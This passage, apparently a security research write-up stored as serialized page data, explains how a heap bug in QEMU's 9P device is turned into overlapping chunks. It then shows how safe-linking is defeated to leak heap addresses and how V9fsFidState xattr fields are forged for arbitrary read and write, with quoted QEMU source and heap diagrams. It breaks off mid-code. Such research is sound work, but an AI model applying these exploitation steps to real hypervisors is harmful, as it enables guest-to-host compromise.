|\n+----------+----------+----------+----------+----------+\n",[128621],{"type":26,"tag":53,"props":128622,"children":128623},{"__ignoreMap":7},[128624],{"type":32,"value":128619},{"type":26,"tag":35,"props":128626,"children":128627},{},[128628,128630,128635],{"type":32,"value":128629},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":26,"tag":53,"props":128631,"children":128633},{"className":128632},[],[128634],{"type":32,"value":127261},{"type":32,"value":179},{"type":26,"tag":465,"props":128637,"children":128639},{"code":128638}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[128640],{"type":26,"tag":53,"props":128641,"children":128642},{"__ignoreMap":7},[128643],{"type":32,"value":128638},{"type":26,"tag":35,"props":128645,"children":128646},{},[128647,128649,128654],{"type":32,"value":128648},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":26,"tag":53,"props":128650,"children":128652},{"className":128651},[],[128653],{"type":32,"value":127261},{"type":32,"value":20450},{"type":26,"tag":465,"props":128656,"children":128658},{"code":128657}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[128659],{"type":26,"tag":53,"props":128660,"children":128661},{"__ignoreMap":7},[128662],{"type":32,"value":128657},{"type":26,"tag":35,"props":128664,"children":128665},{},[128666,128668,128674],{"type":32,"value":128667},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":26,"tag":53,"props":128669,"children":128671},{"className":128670},[],[128672],{"type":32,"value":128673},"0x400",{"type":32,"value":128675}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":26,"tag":465,"props":128677,"children":128679},{"code":128678}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128680],{"type":26,"tag":53,"props":128681,"children":128682},{"__ignoreMap":7},[128683],{"type":32,"value":128678},{"type":26,"tag":41,"props":128685,"children":128687},{"id":128686},"leaking-a-heap-address",[128688],{"type":32,"value":128689},"Leaking a Heap Address",{"type":26,"tag":35,"props":128691,"children":128692},{},[128693],{"type":32,"value":128694},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":26,"tag":35,"props":128696,"children":128697},{},[128698,128700,128706],{"type":32,"value":128699},"To do this, we abuse the forward (",{"type":26,"tag":53,"props":128701,"children":128703},{"className":128702},[],[128704],{"type":32,"value":128705},"fd",{"type":32,"value":128707},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":26,"tag":465,"props":128709,"children":128711},{"code":128710},"fd = next ^ (curr >> 12)\n",[128712],{"type":26,"tag":53,"props":128713,"children":128714},{"__ignoreMap":7},[128715],{"type":32,"value":128710},{"type":26,"tag":35,"props":128717,"children":128718},{},[128719,128721,128726,128727,128732],{"type":32,"value":128720},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":26,"tag":53,"props":128722,"children":128724},{"className":128723},[],[128725],{"type":32,"value":57257},{"type":32,"value":5213},{"type":26,"tag":53,"props":128728,"children":128730},{"className":128729},[],[128731],{"type":32,"value":54187},{"type":32,"value":128733}," because there is no following entry. In that case, the encoding becomes:",{"type":26,"tag":465,"props":128735,"children":128737},{"code":128736},"fd = 0 ^ (curr >> 12)\n",[128738],{"type":26,"tag":53,"props":128739,"children":128740},{"__ignoreMap":7},[128741],{"type":32,"value":128736},{"type":26,"tag":35,"props":128743,"children":128744},{},[128745,128747,128752],{"type":32,"value":128746},"So if we free a single chunk into an empty tcache bin, its ",{"type":26,"tag":53,"props":128748,"children":128750},{"className":128749},[],[128751],{"type":32,"value":128705},{"type":32,"value":128753}," field is effectively just the chunk address shifted right by 12.",{"type":26,"tag":35,"props":128755,"children":128756},{},[128757],{"type":32,"value":128758},"In the overlap we achieved earlier:",{"type":26,"tag":465,"props":128760,"children":128762},{"code":128761}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[128763],{"type":26,"tag":53,"props":128764,"children":128765},{"__ignoreMap":7},[128766],{"type":32,"value":128761},{"type":26,"tag":35,"props":128768,"children":128769},{},[128770,128772,128778,128780,128786,128788,128794,128796,128801],{"type":32,"value":128771},"We first free ",{"type":26,"tag":53,"props":128773,"children":128775},{"className":128774},[],[128776],{"type":32,"value":128777},".value C",{"type":32,"value":128779}," into tcache and read its contents through the oversized ",{"type":26,"tag":53,"props":128781,"children":128783},{"className":128782},[],[128784],{"type":32,"value":128785},".value Y",{"type":32,"value":128787},". This gives us ",{"type":26,"tag":53,"props":128789,"children":128791},{"className":128790},[],[128792],{"type":32,"value":128793},".value C >> 12",{"type":32,"value":128795},". That is not yet the exact address of ",{"type":26,"tag":53,"props":128797,"children":128799},{"className":128798},[],[128800],{"type":32,"value":128777},{"type":32,"value":128802},", since the lower 12 bits are lost.",{"type":26,"tag":35,"props":128804,"children":128805},{},[128806,128808,128813,128815,128820,128822,128827,128829,128834],{"type":32,"value":128807},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":26,"tag":53,"props":128809,"children":128811},{"className":128810},[],[128812],{"type":32,"value":128777},{"type":32,"value":128814},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":26,"tag":53,"props":128816,"children":128818},{"className":128817},[],[128819],{"type":32,"value":128777},{"type":32,"value":128821}," again. This time, ",{"type":26,"tag":53,"props":128823,"children":128825},{"className":128824},[],[128826],{"type":32,"value":57257},{"type":32,"value":128828}," is no longer ",{"type":26,"tag":53,"props":128830,"children":128832},{"className":128831},[],[128833],{"type":32,"value":54187},{"type":32,"value":128835},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":26,"tag":465,"props":128837,"children":128838},{"code":128710},[128839],{"type":26,"tag":53,"props":128840,"children":128841},{"__ignoreMap":7},[128842],{"type":32,"value":128710},{"type":26,"tag":35,"props":128844,"children":128845},{},[128846,128848,128854,128856,128861,128863,128868,128870,128875],{"type":32,"value":128847},"Since we already know ",{"type":26,"tag":53,"props":128849,"children":128851},{"className":128850},[],[128852],{"type":32,"value":128853},"curr >> 12",{"type":32,"value":128855}," from the first leak, we can read the new ",{"type":26,"tag":53,"props":128857,"children":128859},{"className":128858},[],[128860],{"type":32,"value":128705},{"type":32,"value":128862}," value from ",{"type":26,"tag":53,"props":128864,"children":128866},{"className":128865},[],[128867],{"type":32,"value":128777},{"type":32,"value":128869}," and recover the exact address of ",{"type":26,"tag":53,"props":128871,"children":128873},{"className":128872},[],[128874],{"type":32,"value":57257},{"type":32,"value":128876}," by reversing the XOR:",{"type":26,"tag":465,"props":128878,"children":128880},{"code":128879},"next = fd ^ (curr >> 12)\n",[128881],{"type":26,"tag":53,"props":128882,"children":128883},{"__ignoreMap":7},[128884],{"type":32,"value":128879},{"type":26,"tag":35,"props":128886,"children":128887},{},[128888],{"type":32,"value":128889},"This gives us the exact address of a heap chunk whose contents we control.",{"type":26,"tag":41,"props":128891,"children":128893},{"id":128892},"arbitrary-read-and-write",[128894],{"type":32,"value":128895},"Arbitrary Read and Write",{"type":26,"tag":35,"props":128897,"children":128898},{},[128899,128901,128906],{"type":32,"value":128900},"Having a controlled chunk at a known address lets us repurpose ",{"type":26,"tag":53,"props":128902,"children":128904},{"className":128903},[],[128905],{"type":32,"value":128777},{"type":32,"value":128907}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":26,"tag":35,"props":128909,"children":128910},{},[128911,128913,128918],{"type":32,"value":128912},"Recall ",{"type":26,"tag":53,"props":128914,"children":128916},{"className":128915},[],[128917],{"type":32,"value":127381},{"type":32,"value":179},{"type":26,"tag":465,"props":128920,"children":128922},{"code":128921,"language":2854,"meta":7,"className":16220,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[128923],{"type":26,"tag":53,"props":128924,"children":128925},{"__ignoreMap":7},[128926,128965,128972,128983,128998,129013,129020,129027,129034,129056,129063,129070,129077,129085,129102,129141,129184,129191],{"type":26,"tag":475,"props":128927,"children":128928},{"class":477,"line":478},[128929,128933,128937,128941,128945,128949,128953,128957,128961],{"type":26,"tag":475,"props":128930,"children":128931},{"style":482},[128932],{"type":32,"value":50736},{"type":26,"tag":475,"props":128934,"children":128935},{"style":482},[128936],{"type":32,"value":50741},{"type":26,"tag":475,"props":128938,"children":128939},{"style":499},[128940],{"type":32,"value":127376},{"type":26,"tag":475,"props":128942,"children":128943},{"style":493},[128944],{"type":32,"value":127381},{"type":26,"tag":475,"props":128946,"children":128947},{"style":499},[128948],{"type":32,"value":626},{"type":26,"tag":475,"props":128950,"children":128951},{"style":482},[128952],{"type":32,"value":51318},{"type":26,"tag":475,"props":128954,"children":128955},{"style":714},[128956],{"type":32,"value":9525},{"type":26,"tag":475,"props":128958,"children":128959},{"style":2375},[128960],{"type":32,"value":127398},{"type":26,"tag":475,"props":128962,"children":128963},{"style":499},[128964],{"type":32,"value":647},{"type":26,"tag":475,"props":128966,"children":128967},{"class":477,"line":516},[128968],{"type":26,"tag":475,"props":128969,"children":128970},{"style":499},[128971],{"type":32,"value":10589},{"type":26,"tag":475,"props":128973,"children":128974},{"class":477,"line":539},[128975,128979],{"type":26,"tag":475,"props":128976,"children":128977},{"style":482},[128978],{"type":32,"value":55304},{"type":26,"tag":475,"props":128980,"children":128981},{"style":499},[128982],{"type":32,"value":124034},{"type":26,"tag":475,"props":128984,"children":128985},{"class":477,"line":548},[128986,128990,128994],{"type":26,"tag":475,"props":128987,"children":128988},{"style":499},[128989],{"type":32,"value":127523},{"type":26,"tag":475,"props":128991,"children":128992},{"style":714},[128993],{"type":32,"value":4282},{"type":26,"tag":475,"props":128995,"children":128996},{"style":499},[128997],{"type":32,"value":127532},{"type":26,"tag":475,"props":128999,"children":129000},{"class":477,"line":558},[129001,129005,129009],{"type":26,"tag":475,"props":129002,"children":129003},{"style":499},[129004],{"type":32,"value":127523},{"type":26,"tag":475,"props":129006,"children":129007},{"style":714},[129008],{"type":32,"value":4282},{"type":26,"tag":475,"props":129010,"children":129011},{"style":499},[129012],{"type":32,"value":127548},{"type":26,"tag":475,"props":129014,"children":129015},{"class":477,"line":582},[129016],{"type":26,"tag":475,"props":129017,"children":129018},{"emptyLinePlaceholder":18},[129019],{"type":32,"value":545},{"type":26,"tag":475,"props":129021,"children":129022},{"class":477,"line":596},[129023],{"type":26,"tag":475,"props":129024,"children":129025},{"style":499},[129026],{"type":32,"value":104233},{"type":26,"tag":475,"props":129028,"children":129029},{"class":477,"line":610},[129030],{"type":26,"tag":475,"props":129031,"children":129032},{"emptyLinePlaceholder":18},[129033],{"type":32,"value":545},{"type":26,"tag":475,"props":129035,"children":129036},{"class":477,"line":650},[129037,129042,129046,129051],{"type":26,"tag":475,"props":129038,"children":129039},{"style":499},[129040],{"type":32,"value":129041}," file_fidp ",{"type":26,"tag":475,"props":129043,"children":129044},{"style":714},[129045],{"type":32,"value":786},{"type":26,"tag":475,"props":129047,"children":129048},{"style":493},[129049],{"type":32,"value":129050}," get_fid",{"type":26,"tag":475,"props":129052,"children":129053},{"style":499},[129054],{"type":32,"value":129055},"(pdu, fid);\n",{"type":26,"tag":475,"props":129057,"children":129058},{"class":477,"line":679},[129059],{"type":26,"tag":475,"props":129060,"children":129061},{"emptyLinePlaceholder":18},[129062],{"type":32,"value":545},{"type":26,"tag":475,"props":129064,"children":129065},{"class":477,"line":735},[129066],{"type":26,"tag":475,"props":129067,"children":129068},{"style":499},[129069],{"type":32,"value":104233},{"type":26,"tag":475,"props":129071,"children":129072},{"class":477,"line":744},[129073],{"type":26,"tag":475,"props":129074,"children":129075},{"emptyLinePlaceholder":18},[129076],{"type":32,"value":545},{"type":26,"tag":475,"props":129078,"children":129079},{"class":477,"line":753},[129080],{"type":26,"tag":475,"props":129081,"children":129082},{"style":552},[129083],{"type":32,"value":129084}," /* Make the file fid point to xattr */\n",{"type":26,"tag":475,"props":129086,"children":129087},{"class":477,"line":761},[129088,129093,129097],{"type":26,"tag":475,"props":129089,"children":129090},{"style":499},[129091],{"type":32,"value":129092}," xattr_fidp ",{"type":26,"tag":475,"props":129094,"children":129095},{"style":714},[129096],{"type":32,"value":786},{"type":26,"tag":475,"props":129098,"children":129099},{"style":499},[129100],{"type":32,"value":129101}," file_fidp;\n",{"type":26,"tag":475,"props":129103,"children":129104},{"class":477,"line":770},[129105,129109,129113,129117,129121,129125,129129,129133,129137],{"type":26,"tag":475,"props":129106,"children":129107},{"style":2375},[129108],{"type":32,"value":127926},{"type":26,"tag":475,"props":129110,"children":129111},{"style":499},[129112],{"type":32,"value":13464},{"type":26,"tag":475,"props":129114,"children":129115},{"style":2375},[129116],{"type":32,"value":36676},{"type":26,"tag":475,"props":129118,"children":129119},{"style":499},[129120],{"type":32,"value":353},{"type":26,"tag":475,"props":129122,"children":129123},{"style":2375},[129124],{"type":32,"value":127850},{"type":26,"tag":475,"props":129126,"children":129127},{"style":499},[129128],{"type":32,"value":353},{"type":26,"tag":475,"props":129130,"children":129131},{"style":2375},[129132],{"type":32,"value":8849},{"type":26,"tag":475,"props":129134,"children":129135},{"style":714},[129136],{"type":32,"value":2383},{"type":26,"tag":475,"props":129138,"children":129139},{"style":499},[129140],{"type":32,"value":124034},{"type":26,"tag":475,"props":129142,"children":129143},{"class":477,"line":794},[129144,129148,129152,129156,129160,129164,129168,129172,129176,129180],{"type":26,"tag":475,"props":129145,"children":129146},{"style":2375},[129147],{"type":32,"value":127926},{"type":26,"tag":475,"props":129149,"children":129150},{"style":499},[129151],{"type":32,"value":13464},{"type":26,"tag":475,"props":129153,"children":129154},{"style":2375},[129155],{"type":32,"value":36676},{"type":26,"tag":475,"props":129157,"children":129158},{"style":499},[129159],{"type":32,"value":353},{"type":26,"tag":475,"props":129161,"children":129162},{"style":2375},[129163],{"type":32,"value":127850},{"type":26,"tag":475,"props":129165,"children":129166},{"style":499},[129167],{"type":32,"value":353},{"type":26,"tag":475,"props":129169,"children":129170},{"style":2375},[129171],{"type":32,"value":38844},{"type":26,"tag":475,"props":129173,"children":129174},{"style":714},[129175],{"type":32,"value":2383},{"type":26,"tag":475,"props":129177,"children":129178},{"style":493},[129179],{"type":32,"value":123605},{"type":26,"tag":475,"props":129181,"children":129182},{"style":499},[129183],{"type":32,"value":127963},{"type":26,"tag":475,"props":129185,"children":129186},{"class":477,"line":831},[129187],{"type":26,"tag":475,"props":129188,"children":129189},{"emptyLinePlaceholder":18},[129190],{"type":32,"value":545},{"type":26,"tag":475,"props":129192,"children":129193},{"class":477,"line":845},[129194],{"type":26,"tag":475,"props":129195,"children":129196},{"style":499},[129197],{"type":32,"value":104233},{"type":26,"tag":35,"props":129199,"children":129200},{},[129201,129203,129209,129211,129216,129217,129222,129224,129229,129231,129237,129238,129244,129246,129251,129252,129257],{"type":32,"value":129202},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":26,"tag":53,"props":129204,"children":129206},{"className":129205},[],[129207],{"type":32,"value":129208},"V9fsFidState",{"type":32,"value":129210}," object. In other words, if we can place a ",{"type":26,"tag":53,"props":129212,"children":129214},{"className":129213},[],[129215],{"type":32,"value":129208},{"type":32,"value":7034},{"type":26,"tag":53,"props":129218,"children":129220},{"className":129219},[],[129221],{"type":32,"value":128777},{"type":32,"value":129223}," currently sits, the overlapping ",{"type":26,"tag":53,"props":129225,"children":129227},{"className":129226},[],[129228],{"type":32,"value":128785},{"type":32,"value":129230}," chunk can overwrite ",{"type":26,"tag":53,"props":129232,"children":129234},{"className":129233},[],[129235],{"type":32,"value":129236},"V9fsFidState.fs.xattr.value",{"type":32,"value":209},{"type":26,"tag":53,"props":129239,"children":129241},{"className":129240},[],[129242],{"type":32,"value":129243},"V9fsFidState.fs.xattr.len",{"type":32,"value":129245},". That would immediately give us arbitrary read and write through ",{"type":26,"tag":53,"props":129247,"children":129249},{"className":129248},[],[129250],{"type":32,"value":128039},{"type":32,"value":209},{"type":26,"tag":53,"props":129253,"children":129255},{"className":129254},[],[129256],{"type":32,"value":128031},{"type":32,"value":353},{"type":26,"tag":35,"props":129259,"children":129260},{},[129261,129263,129268,129269,129274,129276,129281,129283,129289,129291,129296,129298,129303,129305,129310,129312,129317,129319,129324],{"type":32,"value":129262},"At this point, ",{"type":26,"tag":53,"props":129264,"children":129266},{"className":129265},[],[129267],{"type":32,"value":128777},{"type":32,"value":15149},{"type":26,"tag":53,"props":129270,"children":129272},{"className":129271},[],[129273],{"type":32,"value":127246},{"type":32,"value":129275}," chunk, while ",{"type":26,"tag":53,"props":129277,"children":129279},{"className":129278},[],[129280],{"type":32,"value":129208},{"type":32,"value":129282}," falls into the ",{"type":26,"tag":53,"props":129284,"children":129286},{"className":129285},[],[129287],{"type":32,"value":129288},"0x120",{"type":32,"value":129290}," size class. Before freeing ",{"type":26,"tag":53,"props":129292,"children":129294},{"className":129293},[],[129295],{"type":32,"value":128777},{"type":32,"value":129297},", we therefore use the oversized ",{"type":26,"tag":53,"props":129299,"children":129301},{"className":129300},[],[129302],{"type":32,"value":128785},{"type":32,"value":129304}," chunk to change its size to match ",{"type":26,"tag":53,"props":129306,"children":129308},{"className":129307},[],[129309],{"type":32,"value":129208},{"type":32,"value":129311},". Once ",{"type":26,"tag":53,"props":129313,"children":129315},{"className":129314},[],[129316],{"type":32,"value":128777},{"type":32,"value":129318}," is freed, it is inserted into the ",{"type":26,"tag":53,"props":129320,"children":129322},{"className":129321},[],[129323],{"type":32,"value":129288},{"type":32,"value":129325}," tcache bin.",{"type":26,"tag":465,"props":129327,"children":129329},{"code":129328}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[129330],{"type":26,"tag":53,"props":129331,"children":129332},{"__ignoreMap":7},[129333],{"type":32,"value":129328},{"type":26,"tag":35,"props":129335,"children":129336},{},[129337,129339,129344,129346,129352,129354,129360,129362,129367],{"type":32,"value":129338},"After that, we can simply allocate a new ",{"type":26,"tag":53,"props":129340,"children":129342},{"className":129341},[],[129343],{"type":32,"value":129208},{"type":32,"value":129345}," with a ",{"type":26,"tag":53,"props":129347,"children":129349},{"className":129348},[],[129350],{"type":32,"value":129351},"P9_TWALK",{"type":32,"value":129353}," request and a fresh FID - this reaches ",{"type":26,"tag":53,"props":129355,"children":129357},{"className":129356},[],[129358],{"type":32,"value":129359},"alloc_fid",{"type":32,"value":129361},", which allocates a new ",{"type":26,"tag":53,"props":129363,"children":129365},{"className":129364},[],[129366],{"type":32,"value":129208},{"type":32,"value":179},{"type":26,"tag":465,"props":129369,"children":129371},{"code":129370,"language":2854,"meta":7,"className":16220,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[129372],{"type":26,"tag":53,"props":129373,"children":129374},{"__ignoreMap":7},[129375,129415,129422,129438,129466,129473,129480,129487,129508,129515,129530,129552,129576,129597,129608,129615,129653,129695,129702,129709,129716,129723,129730,129781,129788,129803,129810,129858,129870,129878,129907,129922,129929,129958,129965],{"type":26,"tag":475,"props":129376,"children":129377},{"class":477,"line":478},[129378,129382,129386,129390,129395,129399,129403,129407,129411],{"type":26,"tag":475,"props":129379,"children":129380},{"style":482},[129381],{"type":32,"value":50736},{"type":26,"tag":475,"props":129383,"children":129384},{"style":482},[129385],{"type":32,"value":50741},{"type":26,"tag":475,"props":129387,"children":129388},{"style":499},[129389],{"type":32,"value":127376},{"type":26,"tag":475,"props":129391,"children":129392},{"style":493},[129393],{"type":32,"value":129394},"v9fs_walk",{"type":26,"tag":475,"props":129396,"children":129397},{"style":499},[129398],{"type":32,"value":626},{"type":26,"tag":475,"props":129400,"children":129401},{"style":482},[129402],{"type":32,"value":51318},{"type":26,"tag":475,"props":129404,"children":129405},{"style":714},[129406],{"type":32,"value":9525},{"type":26,"tag":475,"props":129408,"children":129409},{"style":2375},[129410],{"type":32,"value":127398},{"type":26,"tag":475,"props":129412,"children":129413},{"style":499},[129414],{"type":32,"value":647},{"type":26,"tag":475,"props":129416,"children":129417},{"class":477,"line":516},[129418],{"type":26,"tag":475,"props":129419,"children":129420},{"style":499},[129421],{"type":32,"value":10589},{"type":26,"tag":475,"props":129423,"children":129424},{"class":477,"line":539},[129425,129429,129433],{"type":26,"tag":475,"props":129426,"children":129427},{"style":499},[129428],{"type":32,"value":127523},{"type":26,"tag":475,"props":129430,"children":129431},{"style":714},[129432],{"type":32,"value":4282},{"type":26,"tag":475,"props":129434,"children":129435},{"style":499},[129436],{"type":32,"value":129437},"fidp;\n",{"type":26,"tag":475,"props":129439,"children":129440},{"class":477,"line":548},[129441,129445,129449,129454,129458,129462],{"type":26,"tag":475,"props":129442,"children":129443},{"style":499},[129444],{"type":32,"value":127523},{"type":26,"tag":475,"props":129446,"children":129447},{"style":714},[129448],{"type":32,"value":4282},{"type":26,"tag":475,"props":129450,"children":129451},{"style":499},[129452],{"type":32,"value":129453},"newfidp ",{"type":26,"tag":475,"props":129455,"children":129456},{"style":714},[129457],{"type":32,"value":786},{"type":26,"tag":475,"props":129459,"children":129460},{"style":482},[129461],{"type":32,"value":127202},{"type":26,"tag":475,"props":129463,"children":129464},{"style":499},[129465],{"type":32,"value":2729},{"type":26,"tag":475,"props":129467,"children":129468},{"class":477,"line":558},[129469],{"type":26,"tag":475,"props":129470,"children":129471},{"emptyLinePlaceholder":18},[129472],{"type":32,"value":545},{"type":26,"tag":475,"props":129474,"children":129475},{"class":477,"line":582},[129476],{"type":26,"tag":475,"props":129477,"children":129478},{"style":499},[129479],{"type":32,"value":104233},{"type":26,"tag":475,"props":129481,"children":129482},{"class":477,"line":596},[129483],{"type":26,"tag":475,"props":129484,"children":129485},{"emptyLinePlaceholder":18},[129486],{"type":32,"value":545},{"type":26,"tag":475,"props":129488,"children":129489},{"class":477,"line":610},[129490,129494,129499,129503],{"type":26,"tag":475,"props":129491,"children":129492},{"style":586},[129493],{"type":32,"value":11988},{"type":26,"tag":475,"props":129495,"children":129496},{"style":499},[129497],{"type":32,"value":129498}," (fid ",{"type":26,"tag":475,"props":129500,"children":129501},{"style":714},[129502],{"type":32,"value":8287},{"type":26,"tag":475,"props":129504,"children":129505},{"style":499},[129506],{"type":32,"value":129507}," newfid) {\n",{"type":26,"tag":475,"props":129509,"children":129510},{"class":477,"line":650},[129511],{"type":26,"tag":475,"props":129512,"children":129513},{"style":499},[129514],{"type":32,"value":123471},{"type":26,"tag":475,"props":129516,"children":129517},{"class":477,"line":679},[129518,129522,129526],{"type":26,"tag":475,"props":129519,"children":129520},{"style":499},[129521],{"type":32,"value":15484},{"type":26,"tag":475,"props":129523,"children":129524},{"style":586},[129525],{"type":32,"value":3023},{"type":26,"tag":475,"props":129527,"children":129528},{"style":499},[129529],{"type":32,"value":579},{"type":26,"tag":475,"props":129531,"children":129532},{"class":477,"line":735},[129533,129538,129542,129547],{"type":26,"tag":475,"props":129534,"children":129535},{"style":499},[129536],{"type":32,"value":129537}," newfidp ",{"type":26,"tag":475,"props":129539,"children":129540},{"style":714},[129541],{"type":32,"value":786},{"type":26,"tag":475,"props":129543,"children":129544},{"style":493},[129545],{"type":32,"value":129546}," alloc_fid",{"type":26,"tag":475,"props":129548,"children":129549},{"style":499},[129550],{"type":32,"value":129551},"(s, newfid);\n",{"type":26,"tag":475,"props":129553,"children":129554},{"class":477,"line":744},[129555,129559,129564,129568,129572],{"type":26,"tag":475,"props":129556,"children":129557},{"style":586},[129558],{"type":32,"value":2980},{"type":26,"tag":475,"props":129560,"children":129561},{"style":499},[129562],{"type":32,"value":129563}," (newfidp ",{"type":26,"tag":475,"props":129565,"children":129566},{"style":714},[129567],{"type":32,"value":8287},{"type":26,"tag":475,"props":129569,"children":129570},{"style":482},[129571],{"type":32,"value":127202},{"type":26,"tag":475,"props":129573,"children":129574},{"style":499},[129575],{"type":32,"value":676},{"type":26,"tag":475,"props":129577,"children":129578},{"class":477,"line":753},[129579,129584,129588,129592],{"type":26,"tag":475,"props":129580,"children":129581},{"style":499},[129582],{"type":32,"value":129583}," err ",{"type":26,"tag":475,"props":129585,"children":129586},{"style":714},[129587],{"type":32,"value":786},{"type":26,"tag":475,"props":129589,"children":129590},{"style":714},[129591],{"type":32,"value":50947},{"type":26,"tag":475,"props":129593,"children":129594},{"style":499},[129595],{"type":32,"value":129596},"EINVAL;\n",{"type":26,"tag":475,"props":129598,"children":129599},{"class":477,"line":761},[129600,129604],{"type":26,"tag":475,"props":129601,"children":129602},{"style":586},[129603],{"type":32,"value":60241},{"type":26,"tag":475,"props":129605,"children":129606},{"style":499},[129607],{"type":32,"value":60246},{"type":26,"tag":475,"props":129609,"children":129610},{"class":477,"line":770},[129611],{"type":26,"tag":475,"props":129612,"children":129613},{"style":499},[129614],{"type":32,"value":750},{"type":26,"tag":475,"props":129616,"children":129617},{"class":477,"line":794},[129618,129623,129627,129632,129636,129641,129645,129649],{"type":26,"tag":475,"props":129619,"children":129620},{"style":2375},[129621],{"type":32,"value":129622}," newfidp",{"type":26,"tag":475,"props":129624,"children":129625},{"style":499},[129626],{"type":32,"value":13464},{"type":26,"tag":475,"props":129628,"children":129629},{"style":2375},[129630],{"type":32,"value":129631},"uid",{"type":26,"tag":475,"props":129633,"children":129634},{"style":714},[129635],{"type":32,"value":2383},{"type":26,"tag":475,"props":129637,"children":129638},{"style":2375},[129639],{"type":32,"value":129640}," fidp",{"type":26,"tag":475,"props":129642,"children":129643},{"style":499},[129644],{"type":32,"value":13464},{"type":26,"tag":475,"props":129646,"children":129647},{"style":2375},[129648],{"type":32,"value":129631},{"type":26,"tag":475,"props":129650,"children":129651},{"style":499},[129652],{"type":32,"value":2729},{"type":26,"tag":475,"props":129654,"children":129655},{"class":477,"line":831},[129656,129661,129665,129669,129674,129678,129682,129686,129690],{"type":26,"tag":475,"props":129657,"children":129658},{"style":493},[129659],{"type":32,"value":129660}," v9fs_path_copy",{"type":26,"tag":475,"props":129662,"children":129663},{"style":499},[129664],{"type":32,"value":626},{"type":26,"tag":475,"props":129666,"children":129667},{"style":714},[129668],{"type":32,"value":2816},{"type":26,"tag":475,"props":129670,"children":129671},{"style":2375},[129672],{"type":32,"value":129673},"newfidp",{"type":26,"tag":475,"props":129675,"children":129676},{"style":499},[129677],{"type":32,"value":13464},{"type":26,"tag":475,"props":129679,"children":129680},{"style":2375},[129681],{"type":32,"value":111756},{"type":26,"tag":475,"props":129683,"children":129684},{"style":499},[129685],{"type":32,"value":637},{"type":26,"tag":475,"props":129687,"children":129688},{"style":714},[129689],{"type":32,"value":2816},{"type":26,"tag":475,"props":129691,"children":129692},{"style":499},[129693],{"type":32,"value":129694},"path);\n",{"type":26,"tag":475,"props":129696,"children":129697},{"class":477,"line":845},[129698],{"type":26,"tag":475,"props":129699,"children":129700},{"style":499},[129701],{"type":32,"value":851},{"type":26,"tag":475,"props":129703,"children":129704},{"class":477,"line":854},[129705],{"type":26,"tag":475,"props":129706,"children":129707},{"emptyLinePlaceholder":18},[129708],{"type":32,"value":545},{"type":26,"tag":475,"props":129710,"children":129711},{"class":477,"line":862},[129712],{"type":26,"tag":475,"props":129713,"children":129714},{"style":499},[129715],{"type":32,"value":104233},{"type":26,"tag":475,"props":129717,"children":129718},{"class":477,"line":885},[129719],{"type":26,"tag":475,"props":129720,"children":129721},{"style":499},[129722],{"type":32,"value":3607},{"type":26,"tag":475,"props":129724,"children":129725},{"class":477,"line":913},[129726],{"type":26,"tag":475,"props":129727,"children":129728},{"emptyLinePlaceholder":18},[129729],{"type":32,"value":545},{"type":26,"tag":475,"props":129731,"children":129732},{"class":477,"line":926},[129733,129737,129742,129746,129750,129755,129759,129763,129767,129772,129777],{"type":26,"tag":475,"props":129734,"children":129735},{"style":482},[129736],{"type":32,"value":50736},{"type":26,"tag":475,"props":129738,"children":129739},{"style":499},[129740],{"type":32,"value":129741}," V9fsFidState 